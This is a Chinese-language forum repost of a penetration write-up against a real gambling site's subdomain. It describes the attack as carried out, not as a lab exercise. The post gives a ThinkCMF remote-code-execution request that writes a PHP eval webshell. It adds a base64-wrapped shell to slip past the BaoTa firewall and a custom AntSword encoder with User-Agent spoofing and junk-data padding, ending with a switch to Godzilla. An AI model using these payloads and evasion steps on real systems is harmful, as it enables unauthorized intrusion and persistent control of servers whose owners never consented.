標題:記一次繞過寶塔防火牆的BC站滲透

taibeihacker

Moderator

0x00 信息收集​

由於主站存在雲waf 一測就封且初步測試不存在能用得上的洞所以轉戰分站希望能通過分站獲得有價值的信息
1049983-20220112164551048-417320309.png

這是一個查詢代理帳號的站url輸入admin 自動跳轉至後台
1049983-20220112164551620-1446535893.png

看這個參數猜測可能是thinkCMF

0x01 getshell​

thinkcmf正好有一個RCE 可以嘗試一下
?a=fetchtemplateFile=public/indexprefix=''content=phpfile_put_contents('test1.php','?php @eval($_POST[zero])?')/php
1049983-20220112164552044-677112220.png

白屏是個好兆頭應該是成功了
訪問一下
1049983-20220112164552436-718691216.png

嘗試蟻劍連接直接報錯猜測可能遇到防火牆了
1049983-20220112164552799-1836727167.png

然後再回來看一下shell 手動嘗試一個phpinfo
1049983-20220112164553285-397754991.png

果然存在寶塔防火牆

0x02 绕过宝塔防火墙​

寶塔應該對部分函數進行了過濾,所以直接傳遞payload肯定是不行的,所以我們需要對流量進行混淆加密。
嘗試將所有的payload Base64編碼傳輸
既然傳過去的是編碼後的Base64,小馬也應該相應做出改變,只需解密一次傳遞過來的base64即可。
小馬如下:
?php @eval(base64_decode($_POST[zero]));
將phpinfo();base64編碼為cGhwaW5mbygpOw==
發送
1049983-20220112164553930-1137618434.png

可見寶塔防火牆沒再攔截已經成功繞過寶塔防火牆

0x03 改造蚁剑​

我們用到的是Base64編碼,但是蟻劍其實是自帶Base64編碼解碼器的。
嘗試直接使用自帶的Base64編碼器
1049983-20220112164554625-1682842815.png

為什麼會這樣呢?
我們嘗試從蟻劍的流量分析
設置代理到burp
1049983-20220112164555153-1095949143.png

攔截流量
1049983-20220112164555617-1054448656.png

我們可以看到明顯有兩個地方容易被waf識別
一是:User-Agent頭的關鍵字:antSword/v2.1 這相當於直接告訴waf我是誰了, 所以這是第一個要更改的點
二是:蟻劍的流量其實還是有關鍵字的比如cmd參數後的eval base64_decode 都是,而且我們的小馬自帶Base64解密,所以用它的默認編碼器不僅過不去waf 即使沒waf也不能正常連接我們的小馬,所以需要自己定義編碼器。
新建PHP編碼器
1049983-20220112164556034-100799155.png

由於我們只需要將payloadBase64編碼一次即可,所以直接將data['_']Base64處理賦值即可隨機參數有沒有無所謂的
編碼器如下
'use strict';
/*
* @param {String} pwd 連接密碼
* @param {Array} data 編碼器處理前的payload 數組
* @return {Array} data 編碼器處理後的payload 數組
*/
module.exports=(pwd, data, ext={})={
data[pwd]=Buffer.from(data['_']).toString('base64');
delete data['_'];
return data;
}
然後修改UA頭
1049983-20220112164556453-1074055494.png

應用我們的編碼器解碼器不需要指定默認即可
建議選擇增加垃圾數據和Multipart發包
1049983-20220112164556945-1615615751.png

再次測試連接
1049983-20220112164557635-1866671821.png

1049983-20220112164558088-998864945.png

然後點擊目錄發現依然存在問題不能跨目錄這個問題其實哥斯拉可以解決上傳哥斯拉馬
這裡可能有人會問了那你直接上傳哥斯拉馬不就行了嗎實際情況是get傳參有長度限制而且有的符號會導致截斷php文件無法上傳完整
1049983-20220112164558469-1007988296.png

網站有挺多但是很可惜沒有主站數據庫裡只有一堆代理帳號浪費時間了
1049983-20220112164558847-145283342.png

0x03 总结​

1.訪問BC目標主站發現沒有可利用漏洞,通過訪問分站,並輸入admin目錄,跳轉到後台2.通過cms指紋查詢,發現分站是thinkcmf框架3.執行rce寫入一句話http://www.xxx.com/?a=fetchtemplate...''content=file_put_contents('test1.php','?php @eval($_POST[zero])?')4.訪問地址http://www.xxx.com/test1.php顯示空白。 5.嘗試蟻劍連接,直接報錯,執行post命令,發現顯示寶塔防火牆http://www.xxx.com/test1.phppost:ze...''content=file_put_contents('test2.php','?php @eval(base64_decode($_POST[zero]));')7.將phpinfo();base64編碼為cGhwaW5mbygpOw==並正常請求訪問http://www.xxx.com/test2.phppost:zero=cGhwaW5mbygpOw==7寶塔防火牆會攔截蟻劍的User-Agent以及包含命令執行的關鍵字如cmd參數後的eval base64_decode一是:User-Agent頭的關鍵字:antSword/v2.1 這相當於直接告訴waf我是誰了, 所以這是第一個要更改的點二是:蟻劍的流量其實還是有關鍵字的比如cmd參數後的eval base64_decode 都是,而且我們的小馬自帶Base64解密8,改造默認的base64編碼器'use strict';
/** @param {String} pwd 連接密碼* @param {Array} data 編碼器處理前的payload 數組* @return {Array} data 編碼器處理後的payload 數組*/module.exports=(pwd, data, ext={})={
data[pwd]=Buffer.from(data['_']).toString('base64');
delete data['_'];
return data;}9.在蟻劍的請求信息中修改UA頭name:User-Agentvaule:為平常普通的的http請求值10,通過改造後的蟻劍加載修改後的的編碼器進行連接,點擊目錄依然不能訪問。 12.同樣的方法在哥斯拉中加載改造默認的base64編碼器,可繞過寶塔防火牆,並正常訪問
原文鏈接:https://xz.aliyun.com/t/9295
 
返回
上方